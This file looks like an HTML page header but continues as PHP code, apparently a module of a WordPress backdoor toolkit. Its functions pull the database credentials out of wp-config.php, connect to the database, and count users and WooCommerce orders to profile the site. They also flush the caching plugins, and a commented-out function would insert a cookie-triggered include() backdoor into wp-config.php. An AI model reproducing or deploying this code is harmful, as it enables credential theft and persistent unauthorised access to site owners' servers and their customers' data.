<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
</html>
<?php
function shutdown()
{
    echo '@WPERR@', PHP_EOL;
}
register_shutdown_function('shutdown');
class mbd_cms_wp
{
    public $core;
    function __construct($core)
    {
        $this->core = $core;
    }
    function spare()
    {
        /*$file = $this->core->root.'/wp-config.php';
        if(!is_file($file)) return $this->core->out('not config file');
        $data = $file = $this->core->file_get($file);
        $data = str_replace(array(), array('$cache = $_COOKIE;','$time = 415656;', 'if(isset($cache[$time])) include($cache[$time]);'), $data);
        if(!$this->core->file_put($file, $data)) return $this->core->out('failed to write to file');
        $this->core->data->result = $result ;*/
    }
    function cache()
    {
        if(isset($this->core->data->options->badwp)) return FALSE;
        $f = $this->core->root.'/wp-load.php';
        if(!is_file($f)) return FALSE;
        require_once $f;
        $cache = array();
        $a = array(
            'rocket_clean_domain', 
            'w3tc_flush_all', 
            'swift_performance_clear_all_cache', 
            'sg_cachepress_purge_cache', 
            'wp_cache_flush', 
            'opcache_reset', 
        );
        foreach($a AS $f)
        {
            if(function_exists($f)){
                $f();
                $cache[] = $f;
            }
        }
        if(class_exists('WP_Optimize_Cache')) {
            $wpo_cache = new WP_Optimize_Cache();
            $wpo_cache->clear_page_cache();
            $cache[] = 'wp-optimize';
        }
        if(defined('LSCWP_V')){
            do_action('litespeed_purge_all');
            $cache[] = 'litespeed';
        }
        if(class_exists('autoptimizeCache')){
            autoptimizeCache::clearall();
            $cache[] = 'autoptimize';
        }
        return $cache;
    }
    function mysql_config()
    {
        $file = $this->core->root.'/wp-config.php';
        if(!is_file($file)) return $this->core->out('not config file');
        $file = $this->core->file_get($file);
        $result = array();
        foreach(array('DB_HOST','DB_USER','DB_PASSWORD','DB_NAME') AS $i => $n)
        {
            if(preg_match('|'.$n.'(?:[\'\"\s\,]+)getenv\([\'\"](.+)[\'\"]|', $file, $a))
                $result[$i] = getenv($a[1]);
            elseif(preg_match('|'.$n.'(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a))
                $result[$i] = $a[1];
            else return $this->core->out('undefined '.$n);
        }
        $result[4] = preg_match('|\$table_prefix(?:[\'\"\s\=]+)(.+?)[\'\"]|', $file, $a) ? $a[1] : 'wp_'; 
        if(preg_match('|DB_CHARSET(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a)) $result[5] = $a[1]; 
        $this->core->data->result = $result;
        return $result;
    }
    function info()
    {
        $db = $this->core->load('mysql');
        $db->connect($this->mysql_config());
        $this->core->data->type = $db->type;
        $data = array(
            'bd' => implode('::', $this->core->data->result),
            'users' => $db->find('SELECT COUNT(*) FROM @P_users', 'first'),
            'orders' => $db->find('SELECT COUNT(*) FROM @P_posts WHERE post_type=\'shop_order\'', 'first'),
            'date' => $db->find('SELECT `post_date` FROM @P_posts WHERE post_type=\'shop_order\' ORDER BY `ID` DESC LIMIT 1', 'first'),
            'theme' => $db->find('SELECT option_value FROM @P_options WHERE option_name=\'template\' LIMIT 1', 'first'),
        );
        $this->core->data->result = $data;
    }
    function backup()
    {
    }
}